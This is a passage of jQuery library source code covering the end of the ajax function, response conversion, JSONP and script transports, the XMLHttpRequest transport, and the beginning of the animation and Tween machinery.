if ( typeof url === "object" ) {
options = url;
url = undefined;
}
// Force options to be an object
options = options || {};
var // ifModified key
ifModifiedKey,
// Response headers
responseHeadersString,
responseHeaders,
// transport
transport,
// timeout handle
timeoutTimer,
// Cross-domain detection vars
parts,
// To know if global events are to be dispatched
fireGlobals,
// Loop variable
i,
// Create the final options object
s = jQuery.ajaxSetup( {}, options ),
// Callbacks context
callbackContext = s.context || s,
// Context for global events
// It's the callbackContext if one was provided in the options
// and if it's a DOM node or a jQuery collection
globalEventContext = callbackContext !== s &&
( callbackContext.nodeType || callbackContext instanceof jQuery ) ?
jQuery( callbackContext ) : jQuery.event,
// Deferreds
deferred = jQuery.Deferred(),
completeDeferred = jQuery.Callbacks( "once memory" ),
// Status-dependent callbacks
statusCode = s.statusCode || {},
// Headers (they are sent all at once)
requestHeaders = {},
requestHeadersNames = {},
// The jqXHR state
state = 0,
// Default abort message
strAbort = "canceled",
// Fake xhr
jqXHR = {
readyState: 0,
// Caches the header
setRequestHeader: function( name, value ) {
if ( !state ) {
var lname = name.toLowerCase();
name = requestHeadersNames[ lname ] = requestHeadersNames[ lname ] || name;
requestHeaders[ name ] = value;
}
return this;
},
// Raw string
getAllResponseHeaders: function() {
return state === 2 ? responseHeadersString : null;
},
// Builds headers hashtable if needed
getResponseHeader: function( key ) {
var match;
if ( state === 2 ) {
if ( !responseHeaders ) {
responseHeaders = {};
while( ( match = rheaders.exec( responseHeadersString ) ) ) {
responseHeaders[ match[1].toLowerCase() ] = match[ 2 ];
}
}
match = responseHeaders[ key.toLowerCase() ];
}
return match === undefined ? null : match;
},
// Overrides response content-type header
overrideMimeType: function( type ) {
if ( !state ) {
s.mimeType = type;
}
return this;
},
// Cancel the request
abort: function( statusText ) {
statusText = statusText || strAbort;
if ( transport ) {
transport.abort( statusText );
}
done( 0, statusText );
return this;
}
};
// Callback for when everything is done
// It is defined here because jslint complains if it is declared
// at the end of the function (which would be more logical and readable)
function done( status, nativeStatusText, responses, headers ) {
var isSuccess, success, error, response, modified,
statusText = nativeStatusText;
// Called once
if ( state === 2 ) {
return;
}
// State is "done" now
state = 2;
// Clear timeout if it exists
if ( timeoutTimer ) {
clearTimeout( timeoutTimer );
}
// Dereference transport for early garbage collection
// (no matter how long the jqXHR object will be used)
transport = undefined;
// Cache response headers
responseHeadersString = headers || "";
// Set readyState
jqXHR.readyState = status > 0 ? 4 : 0;
// Get response data
if ( responses ) {
response = ajaxHandleResponses( s, jqXHR, responses );
}
// If successful, handle type chaining
if ( status >= 200 && status < 300 || status === 304 ) {
// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
if ( s.ifModified ) {
modified = jqXHR.getResponseHeader("Last-Modified");
if ( modified ) {
jQuery.lastModified[ ifModifiedKey ] = modified;
}
modified = jqXHR.getResponseHeader("Etag");
if ( modified ) {
jQuery.etag[ ifModifiedKey ] = modified;
}
}
// If not modified
if ( status === 304 ) {
statusText = "notmodified";
isSuccess = true;
// If we have data
} else {
isSuccess = ajaxConvert( s, response );
statusText = isSuccess.state;
success = isSuccess.data;
error = isSuccess.error;
isSuccess = !error;
}
} else {
// We extract error from statusText
// then normalize statusText and status for non-aborts
error = statusText;
if ( !statusText || status ) {
statusText = "error";
if ( status < 0 ) {
status = 0;
}
}
}
// Set data for the fake xhr object
jqXHR.status = status;
jqXHR.statusText = "" + ( nativeStatusText || statusText );
// Success/Error
if ( isSuccess ) {
deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );
} else {
deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );
}
// Status-dependent callbacks
jqXHR.statusCode( statusCode );
statusCode = undefined;
if ( fireGlobals ) {
globalEventContext.trigger( "ajax" + ( isSuccess ? "Success" : "Error" ),
[ jqXHR, s, isSuccess ? success : error ] );
}
// Complete
completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );
if ( fireGlobals ) {
globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] );
// Handle the global AJAX counter
if ( !( --jQuery.active ) ) {
jQuery.event.trigger( "ajaxStop" );
}
}
}
// Attach deferreds
deferred.promise( jqXHR );
jqXHR.success = jqXHR.done;
jqXHR.error = jqXHR.fail;
jqXHR.complete = completeDeferred.add;
// Status-dependent callbacks
jqXHR.statusCode = function( map ) {
if ( map ) {
var tmp;
if ( state < 2 ) {
for ( tmp in map ) {
statusCode[ tmp ] = [ statusCode[tmp], map[tmp] ];
}
} else {
tmp = map[ jqXHR.status ];
jqXHR.always( tmp );
}
}
return this;
};
// Remove hash character (#7531: and string promotion)
// Add protocol if not provided (#5866: IE7 issue with protocol-less urls)
// We also use the url parameter if available
s.url = ( ( url || s.url ) + "" ).replace( rhash, "" ).replace( rprotocol, ajaxLocParts[ 1 ] + "//" );
// Extract dataTypes list
s.dataTypes = jQuery.trim( s.dataType || "*" ).toLowerCase().split( core_rspace );
// Determine if a cross-domain request is in order
if ( s.crossDomain == null ) {
parts = rurl.exec( s.url.toLowerCase() );
s.crossDomain = !!( parts &&
( parts[ 1 ] != ajaxLocParts[ 1 ] || parts[ 2 ] != ajaxLocParts[ 2 ] ||
( parts[ 3 ] || ( parts[ 1 ] === "http:" ? 80 : 443 ) ) !=
( ajaxLocParts[ 3 ] || ( ajaxLocParts[ 1 ] === "http:" ? 80 : 443 ) ) )
);
}
// Convert data if not already a string
if ( s.data && s.processData && typeof s.data !== "string" ) {
s.data = jQuery.param( s.data, s.traditional );
}
// Apply prefilters
inspectPrefiltersOrTransports( prefilters, s, options, jqXHR );
// If request was aborted inside a prefilter, stop there
if ( state === 2 ) {
return jqXHR;
}
// We can fire global events as of now if asked to
fireGlobals = s.global;
// Uppercase the type
s.type = s.type.toUpperCase();
// Determine if request has content
s.hasContent = !rnoContent.test( s.type );
// Watch for a new set of requests
if ( fireGlobals && jQuery.active++ === 0 ) {
jQuery.event.trigger( "ajaxStart" );
}
// More options handling for requests with no content
if ( !s.hasContent ) {
// If data is available, append data to url
if ( s.data ) {
s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.data;
// #9682: remove data so that it's not used in an eventual retry
delete s.data;
}
// Get ifModifiedKey before adding the anti-cache parameter
ifModifiedKey = s.url;
// Add anti-cache in url if needed
if ( s.cache === false ) {
var ts = jQuery.now(),
// try replacing _= if it is there
ret = s.url.replace( rts, "$1_=" + ts );
// if nothing was replaced, add timestamp to the end
s.url = ret + ( ( ret === s.url ) ? ( rquery.test( s.url ) ? "&" : "?" ) + "_=" + ts : "" );
}
}
// Set the correct header, if data is being sent
if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {
jqXHR.setRequestHeader( "Content-Type", s.contentType );
}
// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
if ( s.ifModified ) {
ifModifiedKey = ifModifiedKey || s.url;
if ( jQuery.lastModified[ ifModifiedKey ] ) {
jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ ifModifiedKey ] );
}
if ( jQuery.etag[ ifModifiedKey ] ) {
jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ ifModifiedKey ] );
}
}
// Set the Accepts header for the server, depending on the dataType
jqXHR.setRequestHeader(
"Accept",
s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[0] ] ?
s.accepts[ s.dataTypes[0] ] + ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) :
s.accepts[ "*" ]
);
// Check for headers option
for ( i in s.headers ) {
jqXHR.setRequestHeader( i, s.headers[ i ] );
}
// Allow custom headers/mimetypes and early abort
if ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) {
// Abort if not done already and return
return jqXHR.abort();
}
// aborting is no longer a cancellation
strAbort = "abort";
// Install callbacks on deferreds
for ( i in { success: 1, error: 1, complete: 1 } ) {
jqXHR[ i ]( s[ i ] );
}
// Get transport
transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );
// If no transport, we auto-abort
if ( !transport ) {
done( -1, "No Transport" );
} else {
jqXHR.readyState = 1;
// Send global event
if ( fireGlobals ) {
globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] );
}
// Timeout
if ( s.async && s.timeout > 0 ) {
timeoutTimer = setTimeout( function(){
jqXHR.abort( "timeout" );
}, s.timeout );
}
try {
state = 1;
transport.send( requestHeaders, done );
} catch (e) {
// Propagate exception as error if not done
if ( state < 2 ) {
done( -1, e );
// Simply rethrow otherwise
} else {
throw e;
}
}
}
return jqXHR;
},
// Counter for holding the number of active queries
active: 0,
// Last-Modified header cache for next request
lastModified: {},
etag: {}
});
/* Handles responses to an ajax request:
* - sets all responseXXX fields accordingly
* - finds the right dataType (mediates between content-type and expected dataType)
* - returns the corresponding response
*/
function ajaxHandleResponses( s, jqXHR, responses ) {
var ct, type, finalDataType, firstDataType,
contents = s.contents,
dataTypes = s.dataTypes,
responseFields = s.responseFields;
// Fill responseXXX fields
for ( type in responseFields ) {
if ( type in responses ) {
jqXHR[ responseFields[type] ] = responses[ type ];
}
}
// Remove auto dataType and get content-type in the process
while( dataTypes[ 0 ] === "*" ) {
dataTypes.shift();
if ( ct === undefined ) {
ct = s.mimeType || jqXHR.getResponseHeader( "content-type" );
}
}
// Check if we're dealing with a known content-type
if ( ct ) {
for ( type in contents ) {
if ( contents[ type ] && contents[ type ].test( ct ) ) {
dataTypes.unshift( type );
break;
}
}
}
// Check to see if we have a response for the expected dataType
if ( dataTypes[ 0 ] in responses ) {
finalDataType = dataTypes[ 0 ];
} else {
// Try convertible dataTypes
for ( type in responses ) {
if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[0] ] ) {
finalDataType = type;
break;
}
if ( !firstDataType ) {
firstDataType = type;
}
}
// Or just use first one
finalDataType = finalDataType || firstDataType;
}
// If we found a dataType
// We add the dataType to the list if needed
// and return the corresponding response
if ( finalDataType ) {
if ( finalDataType !== dataTypes[ 0 ] ) {
dataTypes.unshift( finalDataType );
}
return responses[ finalDataType ];
}
}
// Chain conversions given the request and the original response
function ajaxConvert( s, response ) {
var conv, conv2, current, tmp,
// Work with a copy of dataTypes in case we need to modify it for conversion
dataTypes = s.dataTypes.slice(),
prev = dataTypes[ 0 ],
converters = {},
i = 0;
// Apply the dataFilter if provided
if ( s.dataFilter ) {
response = s.dataFilter( response, s.dataType );
}
// Create converters map with lowercased keys
if ( dataTypes[ 1 ] ) {
for ( conv in s.converters ) {
converters[ conv.toLowerCase() ] = s.converters[ conv ];
}
}
// Convert to each sequential dataType, tolerating list modification
for ( ; (current = dataTypes[++i]); ) {
// There's only work to do if current dataType is non-auto
if ( current !== "*" ) {
// Convert response if prev dataType is non-auto and differs from current
if ( prev !== "*" && prev !== current ) {
// Seek a direct converter
conv = converters[ prev + " " + current ] || converters[ "* " + current ];
// If none found, seek a pair
if ( !conv ) {
for ( conv2 in converters ) {
// If conv2 outputs current
tmp = conv2.split(" ");
if ( tmp[ 1 ] === current ) {
// If prev can be converted to accepted input
conv = converters[ prev + " " + tmp[ 0 ] ] ||
converters[ "* " + tmp[ 0 ] ];
if ( conv ) {
// Condense equivalence converters
if ( conv === true ) {
conv = converters[ conv2 ];
// Otherwise, insert the intermediate dataType
} else if ( converters[ conv2 ] !== true ) {
current = tmp[ 0 ];
dataTypes.splice( i--, 0, current );
}
break;
}
}
}
}
// Apply converter (if not an equivalence)
if ( conv !== true ) {
// Unless errors are allowed to bubble, catch and return them
if ( conv && s["throws"] ) {
response = conv( response );
} else {
try {
response = conv( response );
} catch ( e ) {
return { state: "parsererror", error: conv ? e : "No conversion from " + prev + " to " + current };
}
}
}
}
// Update prev for next iteration
prev = current;
}
}
return { state: "success", data: response };
}
var oldCallbacks = [],
rquestion = /\?/,
rjsonp = /(=)\?(?=&|$)|\?\?/,
nonce = jQuery.now();
// Default jsonp settings
jQuery.ajaxSetup({
jsonp: "callback",
jsonpCallback: function() {
var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce++ ) );
this[ callback ] = true;
return callback;
}
});
// Detect, normalize options and install callbacks for jsonp requests
jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) {
var callbackName, overwritten, responseContainer,
data = s.data,
url = s.url,
hasCallback = s.jsonp !== false,
replaceInUrl = hasCallback && rjsonp.test( url ),
replaceInData = hasCallback && !replaceInUrl && typeof data === "string" &&
!( s.contentType || "" ).indexOf("application/x-www-form-urlencoded") &&
rjsonp.test( data );
// Handle iff the expected data type is "jsonp" or we have a parameter to set
if ( s.dataTypes[ 0 ] === "jsonp" || replaceInUrl || replaceInData ) {
// Get callback name, remembering preexisting value associated with it
callbackName = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ?
s.jsonpCallback() :
s.jsonpCallback;
overwritten = window[ callbackName ];
// Insert callback into url or form data
if ( replaceInUrl ) {
s.url = url.replace( rjsonp, "$1" + callbackName );
} else if ( replaceInData ) {
s.data = data.replace( rjsonp, "$1" + callbackName );
} else if ( hasCallback ) {
s.url += ( rquestion.test( url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName;
}
// Use data converter to retrieve json after script execution
s.converters["script json"] = function() {
if ( !responseContainer ) {
jQuery.error( callbackName + " was not called" );
}
return responseContainer[ 0 ];
};
// force json dataType
s.dataTypes[ 0 ] = "json";
// Install callback
window[ callbackName ] = function() {
responseContainer = arguments;
};
// Clean-up function (fires after converters)
jqXHR.always(function() {
// Restore preexisting value
window[ callbackName ] = overwritten;
// Save back as free
if ( s[ callbackName ] ) {
// make sure that re-using the options doesn't screw things around
s.jsonpCallback = originalSettings.jsonpCallback;
// save the callback name for future use
oldCallbacks.push( callbackName );
}
// Call if it was a function and we have a response
if ( responseContainer && jQuery.isFunction( overwritten ) ) {
overwritten( responseContainer[ 0 ] );
}
responseContainer = overwritten = undefined;
});
// Delegate to script
return "script";
}
});
// Install script dataType
jQuery.ajaxSetup({
accepts: {
script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
},
contents: {
script: /javascript|ecmascript/
},
converters: {
"text script": function( text ) {
jQuery.globalEval( text );
return text;
}
}
});
// Handle cache's special case and global
jQuery.ajaxPrefilter( "script", function( s ) {
if ( s.cache === undefined ) {
s.cache = false;
}
if ( s.crossDomain ) {
s.type = "GET";
s.global = false;
}
});
// Bind script tag hack transport
jQuery.ajaxTransport( "script", function(s) {
// This transport only deals with cross domain requests
if ( s.crossDomain ) {
var script,
head = document.head || document.getElementsByTagName( "head" )[0] || document.documentElement;
return {
send: function( _, callback ) {
script = document.createElement( "script" );
script.async = "async";
if ( s.scriptCharset ) {
script.charset = s.scriptCharset;
}
script.src = s.url;
// Attach handlers for all browsers
script.onload = script.onreadystatechange = function( _, isAbort ) {
if ( isAbort || !script.readyState || /loaded|complete/.test( script.readyState ) ) {
// Handle memory leak in IE
script.onload = script.onreadystatechange = null;
// Remove the script
if ( head && script.parentNode ) {
head.removeChild( script );
}
// Dereference the script
script = undefined;
// Callback if not abort
if ( !isAbort ) {
callback( 200, "success" );
}
}
};
// Use insertBefore instead of appendChild to circumvent an IE6 bug.
// This arises when a base node is used (#2709 and #4378).
head.insertBefore( script, head.firstChild );
},
abort: function() {
if ( script ) {
script.onload( 0, 1 );
}
}
};
}
});
var xhrCallbacks,
// #5280: Internet Explorer will keep connections alive if we don't abort on unload
xhrOnUnloadAbort = window.ActiveXObject ? function() {
// Abort all pending requests
for ( var key in xhrCallbacks ) {
xhrCallbacks[ key ]( 0, 1 );
}
} : false,
xhrId = 0;
// Functions to create xhrs
function createStandardXHR() {
try {
return new window.XMLHttpRequest();
} catch( e ) {}
}
function createActiveXHR() {
try {
return new window.ActiveXObject( "Microsoft.XMLHTTP" );
} catch( e ) {}
}
// Create the request object
// (This is still attached to ajaxSettings for backward compatibility)
jQuery.ajaxSettings.xhr = window.ActiveXObject ?
/* Microsoft failed to properly
* implement the XMLHttpRequest in IE7 (can't request local files),
* so we use the ActiveXObject when it is available
* Additionally XMLHttpRequest can be disabled in IE7/IE8 so
* we need a fallback.
*/
function() {
return !this.isLocal && createStandardXHR() || createActiveXHR();
} :
// For all other browsers, use the standard XMLHttpRequest object
createStandardXHR;
// Determine support properties
(function( xhr ) {
jQuery.extend( jQuery.support, {
ajax: !!xhr,
cors: !!xhr && ( "withCredentials" in xhr )
});
})( jQuery.ajaxSettings.xhr() );
// Create transport if the browser can provide an xhr
if ( jQuery.support.ajax ) {
jQuery.ajaxTransport(function( s ) {
// Cross domain only allowed if supported through XMLHttpRequest
if ( !s.crossDomain || jQuery.support.cors ) {
var callback;
return {
send: function( headers, complete ) {
// Get a new xhr
var handle, i,
xhr = s.xhr();
// Open the socket
// Passing null username, generates a login popup on Opera (#2865)
if ( s.username ) {
xhr.open( s.type, s.url, s.async, s.username, s.password );
} else {
xhr.open( s.type, s.url, s.async );
}
// Apply custom fields if provided
if ( s.xhrFields ) {
for ( i in s.xhrFields ) {
xhr[ i ] = s.xhrFields[ i ];
}
}
// Override mime type if needed
if ( s.mimeType && xhr.overrideMimeType ) {
xhr.overrideMimeType( s.mimeType );
}
// X-Requested-With header
// For cross-domain requests, seeing as conditions for a preflight are
// akin to a jigsaw puzzle, we simply never set it to be sure.
// (it can always be set on a per-request basis or even using ajaxSetup)
// For same-domain requests, won't change header if already provided.
if ( !s.crossDomain && !headers["X-Requested-With"] ) {
headers[ "X-Requested-With" ] = "XMLHttpRequest";
}
// Need an extra try/catch for cross domain requests in Firefox 3
try {
for ( i in headers ) {
xhr.setRequestHeader( i, headers[ i ] );
}
} catch( _ ) {}
// Do send the request
// This may raise an exception which is actually
// handled in jQuery.ajax (so no try/catch here)
xhr.send( ( s.hasContent && s.data ) || null );
// Listener
callback = function( _, isAbort ) {
var status,
statusText,
responseHeaders,
responses,
xml;
// Firefox throws exceptions when accessing properties
// of an xhr when a network error occurred
// http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_AVAILABLE)
try {
// Was never called and is aborted or complete
if ( callback && ( isAbort || xhr.readyState === 4 ) ) {
// Only called once
callback = undefined;
// Do not keep as active anymore
if ( handle ) {
xhr.onreadystatechange = jQuery.noop;
if ( xhrOnUnloadAbort ) {
delete xhrCallbacks[ handle ];
}
}
// If it's an abort
if ( isAbort ) {
// Abort it manually if needed
if ( xhr.readyState !== 4 ) {
xhr.abort();
}
} else {
status = xhr.status;
responseHeaders = xhr.getAllResponseHeaders();
responses = {};
xml = xhr.responseXML;
// Construct response list
if ( xml && xml.documentElement /* #4958 */ ) {
responses.xml = xml;
}
// When requesting binary data, IE6-9 will throw an exception
// on any attempt to access responseText (#11426)
try {
responses.text = xhr.responseText;
} catch( _ ) {
}
// Firefox throws an exception when accessing
// statusText for faulty cross-domain requests
try {
statusText = xhr.statusText;
} catch( e ) {
// We normalize with Webkit giving an empty statusText
statusText = "";
}
// Filter status for non standard behaviors
// If the request is local and we have data: assume a success
// (success with no data won't get notified, that's the best we
// can do given current implementations)
if ( !status && s.isLocal && !s.crossDomain ) {
status = responses.text ? 200 : 404;
// IE - #1450: sometimes returns 1223 when it should be 204
} else if ( status === 1223 ) {
status = 204;
}
}
}
} catch( firefoxAccessException ) {
if ( !isAbort ) {
complete( -1, firefoxAccessException );
}
}
// Call complete if needed
if ( responses ) {
complete( status, statusText, responses, responseHeaders );
}
};
if ( !s.async ) {
// if we're in sync mode we fire the callback
callback();
} else if ( xhr.readyState === 4 ) {
// (IE6 & IE7) if it's in cache and has been
// retrieved directly we need to fire the callback
setTimeout( callback, 0 );
} else {
handle = ++xhrId;
if ( xhrOnUnloadAbort ) {
// Create the active xhrs callbacks list if needed
// and attach the unload handler
if ( !xhrCallbacks ) {
xhrCallbacks = {};
jQuery( window ).unload( xhrOnUnloadAbort );
}
// Add to list of active xhrs callbacks
xhrCallbacks[ handle ] = callback;
}
xhr.onreadystatechange = callback;
}
},
abort: function() {
if ( callback ) {
callback(0,1);
}
}
};
}
});
}
var fxNow, timerId,
rfxtypes = /^(?:toggle|show|hide)$/,
rfxnum = new RegExp( "^(?:([-+])=|)(" + core_pnum + ")([a-z%]*)$", "i" ),
rrun = /queueHooks$/,
animationPrefilters = [ defaultPrefilter ],
tweeners = {
"*": [function( prop, value ) {
var end, unit, prevScale,
tween = this.createTween( prop, value ),
parts = rfxnum.exec( value ),
target = tween.cur(),
start = +target || 0,
scale = 1;
if ( parts ) {
end = +parts[2];
unit = parts[3] || ( jQuery.cssNumber[ prop ] ? "" : "px" );
// We need to compute starting value
if ( unit !== "px" && start ) {
// Iteratively approximate from a nonzero starting point
// Prefer the current property, because this process will be trivial if it uses the same units
// Fallback to end or a simple constant
start = jQuery.css( tween.elem, prop, true ) || end || 1;
do {
// If previous iteration zeroed out, double until we get *something*
// Use a string for doubling factor so we don't accidentally see scale as unchanged below
prevScale = scale = scale || ".5";
// Adjust and apply
start = start / scale;
jQuery.style( tween.elem, prop, start + unit );
// Update scale, tolerating zeroes from tween.cur()
scale = tween.cur() / target;
// Stop looping if we've hit the mark or scale is unchanged
} while ( scale !== 1 && scale !== prevScale );
}
tween.unit = unit;
tween.start = start;
// If a +=/-= token was provided, we're doing a relative animation
tween.end = parts[1] ? start + ( parts[1] + 1 ) * end : end;
}
return tween;
}]
};
// Animations created synchronously will run synchronously
function createFxNow() {
setTimeout(function() {
fxNow = undefined;
}, 0 );
return ( fxNow = jQuery.now() );
}
function createTweens( animation, props ) {
jQuery.each( props, function( prop, value ) {
var collection = ( tweeners[ prop ] || [] ).concat( tweeners[ "*" ] ),
index = 0,
length = collection.length;
for ( ; index < length; index++ ) {
if ( collection[ index ].call( animation, prop, value ) ) {
// we're done with this property
return;
}
}
});
}
function Animation( elem, properties, options ) {
var result,
index = 0,
tweenerIndex = 0,
length = animationPrefilters.length,
deferred = jQuery.Deferred().always( function() {
// don't match elem in the :animated selector
delete tick.elem;
}),
tick = function() {
var currentTime = fxNow || createFxNow(),
remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),
percent = 1 - ( remaining / animation.duration || 0 ),
index = 0,
length = animation.tweens.length;
for ( ; index < length ; index++ ) {
animation.tweens[ index ].run( percent );
}
deferred.notifyWith( elem, [ animation, percent, remaining ]);
if ( percent < 1 && length ) {
return remaining;
} else {
deferred.resolveWith( elem, [ animation ] );
return false;
}
},
animation = deferred.promise({
elem: elem,
props: jQuery.extend( {}, properties ),
opts: jQuery.extend( true, { specialEasing: {} }, options ),
originalProperties: properties,
originalOptions: options,
startTime: fxNow || createFxNow(),
duration: options.duration,
tweens: [],
createTween: function( prop, end, easing ) {
var tween = jQuery.Tween( elem, animation.opts, prop, end,
animation.opts.specialEasing[ prop ] || animation.opts.easing );
animation.tweens.push( tween );
return tween;
},
stop: function( gotoEnd ) {
var index = 0,
// if we are going to the end, we want to run all the tweens
// otherwise we skip this part
length = gotoEnd ? animation.tweens.length : 0;
for ( ; index < length ; index++ ) {
animation.tweens[ index ].run( 1 );
}
// resolve when we played the last frame
// otherwise, reject
if ( gotoEnd ) {
deferred.resolveWith( elem, [ animation, gotoEnd ] );
} else {
deferred.rejectWith( elem, [ animation, gotoEnd ] );
}
return this;
}
}),
props = animation.props;
propFilter( props, animation.opts.specialEasing );
for ( ; index < length ; index++ ) {
result = animationPrefilters[ index ].call( animation, elem, props, animation.opts );
if ( result ) {
return result;
}
}
createTweens( animation, props );
if ( jQuery.isFunction( animation.opts.start ) ) {
animation.opts.start.call( elem, animation );
}
jQuery.fx.timer(
jQuery.extend( tick, {
anim: animation,
queue: animation.opts.queue,
elem: elem
})
);
// attach callbacks from options
return animation.progress( animation.opts.progress )
.done( animation.opts.done, animation.opts.complete )
.fail( animation.opts.fail )
.always( animation.opts.always );
}
function propFilter( props, specialEasing ) {
var index, name, easing, value, hooks;
// camelCase, specialEasing and expand cssHook pass
for ( index in props ) {
name = jQuery.camelCase( index );
easing = specialEasing[ name ];
value = props[ index ];
if ( jQuery.isArray( value ) ) {
easing = value[ 1 ];
value = props[ index ] = value[ 0 ];
}
if ( index !== name ) {
props[ name ] = value;
delete props[ index ];
}
hooks = jQuery.cssHooks[ name ];
if ( hooks && "expand" in hooks ) {
value = hooks.expand( value );
delete props[ name ];
// not quite $.extend, this wont overwrite keys already present.
// also - reusing 'index' from above because we have the correct "name"
for ( index in value ) {
if ( !( index in props ) ) {
props[ index ] = value[ index ];
specialEasing[ index ] = easing;
}
}
} else {
specialEasing[ name ] = easing;
}
}
}
jQuery.Animation = jQuery.extend( Animation, {
tweener: function( props, callback ) {
if ( jQuery.isFunction( props ) ) {
callback = props;
props = [ "*" ];
} else {
props = props.split(" ");
}
var prop,
index = 0,
length = props.length;
for ( ; index < length ; index++ ) {
prop = props[ index ];
tweeners[ prop ] = tweeners[ prop ] || [];
tweeners[ prop ].unshift( callback );
}
},
prefilter: function( callback, prepend ) {
if ( prepend ) {
animationPrefilters.unshift( callback );
} else {
animationPrefilters.push( callback );
}
}
});
function defaultPrefilter( elem, props, opts ) {
var index, prop, value, length, dataShow, tween, hooks, oldfire,
anim = this,
style = elem.style,
orig = {},
handled = [],
hidden = elem.nodeType && isHidden( elem );
// handle queue: false promises
if ( !opts.queue ) {
hooks = jQuery._queueHooks( elem, "fx" );
if ( hooks.unqueued == null ) {
hooks.unqueued = 0;
oldfire = hooks.empty.fire;
hooks.empty.fire = function() {
if ( !hooks.unqueued ) {
oldfire();
}
};
}
hooks.unqueued++;
anim.always(function() {
// doing this makes sure that the complete handler will be called
// before this completes
anim.always(function() {
hooks.unqueued--;
if ( !jQuery.queue( elem, "fx" ).length ) {
hooks.empty.fire();
}
});
});
}
// height/width overflow pass
if ( elem.nodeType === 1 && ( "height" in props || "width" in props ) ) {
// Make sure that nothing sneaks out
// Record all 3 overflow attributes because IE does not
// change the overflow attribute when overflowX and
// overflowY are set to the same value
opts.overflow = [ style.overflow, style.overflowX, style.overflowY ];
// Set display property to inline-block for height/width
// animations on inline elements that are having width/height animated
if ( jQuery.css( elem, "display" ) === "inline" &&
jQuery.css( elem, "float" ) === "none" ) {
// inline-level elements accept inline-block;
// block-level elements need to be inline with layout
if ( !jQuery.support.inlineBlockNeedsLayout || css_defaultDisplay( elem.nodeName ) === "inline" ) {
style.display = "inline-block";
} else {
style.zoom = 1;
}
}
}
if ( opts.overflow ) {
style.overflow = "hidden";
if ( !jQuery.support.shrinkWrapBlocks ) {
anim.done(function() {
style.overflow = opts.overflow[ 0 ];
style.overflowX = opts.overflow[ 1 ];
style.overflowY = opts.overflow[ 2 ];
});
}
}
// show/hide pass
for ( index in props ) {
value = props[ index ];
if ( rfxtypes.exec( value ) ) {
delete props[ index ];
if ( value === ( hidden ? "hide" : "show" ) ) {
continue;
}
handled.push( index );
}
}
length = handled.length;
if ( length ) {
dataShow = jQuery._data( elem, "fxshow" ) || jQuery._data( elem, "fxshow", {} );
if ( hidden ) {
jQuery( elem ).show();
} else {
anim.done(function() {
jQuery( elem ).hide();
});
}
anim.done(function() {
var prop;
jQuery.removeData( elem, "fxshow", true );
for ( prop in orig ) {
jQuery.style( elem, prop, orig[ prop ] );
}
});
for ( index = 0 ; index < length ; index++ ) {
prop = handled[ index ];
tween = anim.createTween( prop, hidden ? dataShow[ prop ] : 0 );
orig[ prop ] = dataShow[ prop ] || jQuery.style( elem, prop );
if ( !( prop in dataShow ) ) {
dataShow[ prop ] = tween.start;
if ( hidden ) {
tween.end = tween.start;
tween.start = prop === "width" || prop === "height" ? 1 : 0;
}
}
}
}
}
function Tween( elem, options, prop, end, easing ) {
return new Tween.prototype.init( elem, options, prop, end, easing );
}
jQuery.Tween = Tween;
Tween.prototype = {
constructor: Tween,
init: function( elem, options, prop, end, easing, unit ) {
this.elem = elem;
this.prop = prop;
this.easing = easing || "swing";
this.options = options;
this.start = this.now = this.cur();
this.end = end;
this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" );
},
cur: function() {
var hooks = Tween.propHooks[ this.prop ];
return hooks && hooks.get ?
hooks.get( this ) :
Tween.propHooks._default.get( this );
},
run: function( percent ) {
var eased,
hooks = Tween.propHooks[ this.prop ];
this.pos = eased = jQuery.easing[ this.easing ]( percent, this.options.duration * percent, 0, 1, this.options.duration );
this.now = ( this.end - this.start ) * eased + this.start;
if ( this.options.step ) {
this.options.step.call( this.elem, this.now, this );
}
if ( hooks && hooks.set ) {
hooks.set( this );
} else {
Tween.propHooks._default.set( this );
}
return this;
}
};
Tween.prototype.init.prototype = Tween.prototype;
Tween.propHooks = {
_default: {
get: function( tween ) {
var result;
if ( tween.elem[ tween.prop ] != null &&
(!tween.elem.style || tween.elem.style[ tween.prop ] == null) ) {
return tween.elem[ tween.prop ];
}
// passing any value as a 4th parameter to .css will automatically
// attempt a parseFloat and fallback to a string if the parse fails
// so, simple values such as "10px" are parsed to Float.
// complex values such as "rotate(1rad)" are returned as is.
result = jQuery.css( tween.elem, tween.prop, false, "" );
// Empty strings, null, undefined and "auto" are converted to 0.
return !result || result === "auto" ? 0 : result;
},
set: function( tween ) {
// use step hook for back compat - use cssHook if its there - use .style if its
// available and use plain properties where available
if ( jQuery.fx.step[ tween.prop ] ) {
jQuery.fx.step[ tween.prop ]( tween );
} else if ( tween.elem.style && ( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null || jQuery.cssHooks[ tween.prop ] ) ) {
jQuery.style( tween.elem, tween.prop, tween.now + tween.unit );
} else {
tween.elem[ tween.prop ] = tween.now;
}
}
}
};
// Remove in 2.0 - this supports IE8's panic based approach
// to setting things on disconnected nodes
Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
set: function( tween ) {
if ( tween.elem.nodeType && tween.elem.parentNode ) {
tween.elem[ tween.prop ] = tween.now;
}
}
};
